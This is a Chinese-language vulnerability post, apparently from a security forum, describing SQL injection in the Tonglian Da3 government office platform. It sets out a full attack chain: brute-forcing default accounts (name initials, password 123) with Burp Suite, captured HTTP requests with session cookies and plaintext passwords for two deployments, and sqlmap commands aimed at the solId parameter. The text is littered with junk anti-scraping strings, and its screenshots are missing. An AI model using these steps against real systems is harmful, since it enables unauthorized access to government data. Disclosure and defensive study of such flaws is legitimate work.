同联Da3协同办公平台前台通用sql injection漏洞

admin

9 h3 Q; P, I1 W" i k
) {6 p0 J0 ^, `9 a3 W7 _

- }2 ^: \/ C' t" K9 K8 ~4 ], I

& j+ n3 T1 O) \ 平台简介：

' q3 _0 n% H( y# l' c, u  

9 K: ?+ n$ s: L; I( ~

1 u: h m5 G, h* x; c8 Z 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
6 [, J& ~2 D4 a2 S6 g: b同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
9 j/ q& \0 s( ?3 V. d9 l同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 C! k( M* u. j1 f/ w5 O Q

- I' Y. ?! z# K4 F1 i: {   : h* a; C3 j7 l) i M) A

& ?1 r, e6 Q" ~9 b4 k5 P7 {

0 r" P0 M5 l/ b& S( g7 G! b1 S" W# z 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： G7 g, T9 u' E

7 N' O) z1 D. ^0 g W1 A   9 n: v' p& ~3 H: M: ]1 M

* C4 {2 L% Q$ e

http://1.1.1.1:7197/cap-aco/#（案例2-） 6 y# i, K8 G0 _" V+ ?- z4 q+ M$ l

: |% T8 g s. B) v% x

. X1 J9 K, M5 p5 Z http://www.XXOO.com （案例1-官网网站） 3 x# A/ a( j, n4 {1 O

5 h4 G M" O. a; {! c0 C% R   0 Z! ]# V; g: X. Q

- s5 k# c Y* o, ~/ d

1 L3 J! ]! T* z1 m: I 漏洞详情:

* G/ M1 B5 h: k+ S/ a

; V& _" B+ n; Y# Z4 I  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

/ x( M7 ]5 U6 C5 F      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  6 r( Y% a4 F) n x: u

, M1 ~( J8 G5 p   + b! J4 M$ N ?3 n& P; K$ q; u

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

! r! Q9 m; G, U7 m

|- o( b/ ?+ l' L! ?) b2 f# E 1、案例1-官方网站 }, I/ _, v Q

8 m' j; I& B8 w0 I: B$ n GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

7 f( J) }, B$ y# F

Host: www.XXOO.com : W( F- N0 g: b% K, \6 b9 Z) Q

+ J8 X; N, y/ x Proxy-Connection: Keep-Alive

; G" P+ |) B5 D6 `) \! ~* F* J4 C8 I Accept: application/json, text/javascript, */*; q=0.01

5 z5 c( R9 A, k. I, K- J ?( }

5 w+ i, O( x5 Y& ` Q t Accept-Language: zh-CN , K" v" R! }4 |- Y3 H

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

! l6 S7 }. Z$ t' R0 j; S X-Requested-With: XMLHttpRequest " T5 ~; A2 [0 `9 V* T& v# ~/ j

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

( ^/ d7 {- Q3 V) Z' T

! F" ~; A8 `! i; G9 P Accept-Encoding: gzip, deflate, sdch

8 r6 D- B E5 [- _* [: k5 |1 P Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

' l* G7 ?/ Q% v( [7 v4 ~6 O

+ K4 g$ V5 A5 K6 c$ z& N V 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: & U2 |" N0 x$ E

  7 c* o* i; L0 C, ]7 o* U

  $ W* ~6 z; U9 k8 d$ W

. v# r& D) K) D! x

( B6 M) U( C y; B  

9 T3 y) T+ b" o; R: p& l `, n' P   # |+ \4 Y" e) l$ {2 u

6 p5 O! y; ?/ R/ j$ g  

3 X( w5 k. ]+ O ` 2、案例2-某天河云平台 ! Q" u" \. E' I0 k

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 9 V: o9 [3 N1 n0 Y

) J& ^$ W+ D. b& x% T2 p/ T8 V

Host: 1.1.1.:7197 # Q/ i# q7 _# d; {! U2 @* E6 b

' D4 l n6 ^9 ]' W% a" U) H9 ]

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest : I) ~6 D: K( }, ]

, Z# I N7 w9 Q' K+ {2 N- v5 o

: X0 F4 D8 F' K) V User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

' l9 Z$ A* x- B( O- q

0 ]" g2 X0 P& q. R; M6 K( [ Content-Type: application/json

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

; k/ v: e1 k* m. C( a# t/ V

/ _& a5 ]9 D- o; q- H; }8 |* F$ ] Accept-Language: zh-CN,zh;q=0.8 - a' u! m4 M* T% r

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close " V7 C& f# O% T4 p5 I! ]

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

# i& Y2 L; S9 m: ?! ~# r* c" G

 

, A! S) g+ N$ M2 l* }& @

, c g P; {, ] g! Y8 v